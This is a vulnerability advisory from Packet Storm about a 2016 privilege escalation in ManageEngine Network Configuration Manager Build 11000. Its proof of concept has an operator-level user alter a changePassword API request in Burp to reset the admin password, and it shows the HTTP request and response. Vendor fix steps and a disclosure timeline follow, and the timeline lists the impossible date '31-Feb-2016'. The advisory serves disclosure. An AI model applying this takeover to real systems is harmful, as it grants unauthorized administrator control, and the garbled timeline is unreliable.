ManageEngine Network Configuration Management Build 11000 Privilege Escalation

Type packetstorm
Reporter Kaustubh G. Padwad
Modified 2016-02-10T00:00:00


Privilege escalation Vulnerability in ManageEngine Network Configuration Management  
. contents:: Table Of Content  
Title:- Privilege escalation Vulnerability in ManageEngine Network Configuration Management  
Author: Kaustubh G. Padwad  
Vendor: ZOHO Corp  
Product: ManageEngine Network Configuration Manager   
Tested Version: : Network Configuration Manager Build 11000  
Severity: HIGH  
Advisory ID  
About the Product:  
Network Configuration Manager is a web–based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, Network Configuration Manager helps automate and take total control of the entire life cycle of device configuration management.  
This Privilege escalation vulnerability enables an Normal user to escalate privilege and become administrator of the application.   
Vulnerability Class:  
Top 10 2014-I2 Insufficient Authentication/Authorization  
How to Reproduce: (POC):  
* you should have Operator Account on Network Configuration Management  
* login with that account to get api key something like user_1453993872278  
* Setup Burp and use change user password request and change userName to admin and newPwd to desire password HUrry you are admin now. :)  
Burp Requst   
POST /nfaapi/json/admin/changePassword HTTP/1.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 50  
Cookie: OPUTILSJSESSIONID=E062B23129AA1269EF13794C7710DF8E; JSESSIONID=FBA6ADEE16123786896DF765CA4C9E87; NFA_Jsession=0BF63F9CE8F4DCF664857F92403D8B44; iamcsrfcookie=fbcc4bcb-34ea-4cc8-8cb3-e95dbfc0603d; NFA__SSO=0ED579E64493B973F5BCA1C94EAD6310  
Connection: keep-alive  
Pragma: no-cache  
Cache-Control: no-cache  
HTTP/1.1 200 OK  
Server: Apache-Coyote/1.1  
Access-Control-Allow-Origin: *  
Access-Control-Allow-Methods: GET,POST  
Access-Control-Max-Age: 5000  
Content-Type: application/json;charset=UTF-8  
Date: Sat, 30 Jan 2016 20:22:15 GMT  
Content-Length: 23  
* Please Stop Network configuration manager service.  
* Open Ncm\lib and cut AdvNCM.jar and paste it in to Desktop.  
* Download the AdvNCM.jar file from below link and paste it under Ncm\lib   
* Open Ncm\logs and delete all the files inside it,  
* Start the Ncm service and check the issue.  
* 31-JAN-2016 Repoerted to vendor  
* 31-Feb-2016 Ack by Vendor  
* 09-Feb-2016 Fixed By Vendor  
* Kaustubh Padwad  
* Information Security Researcher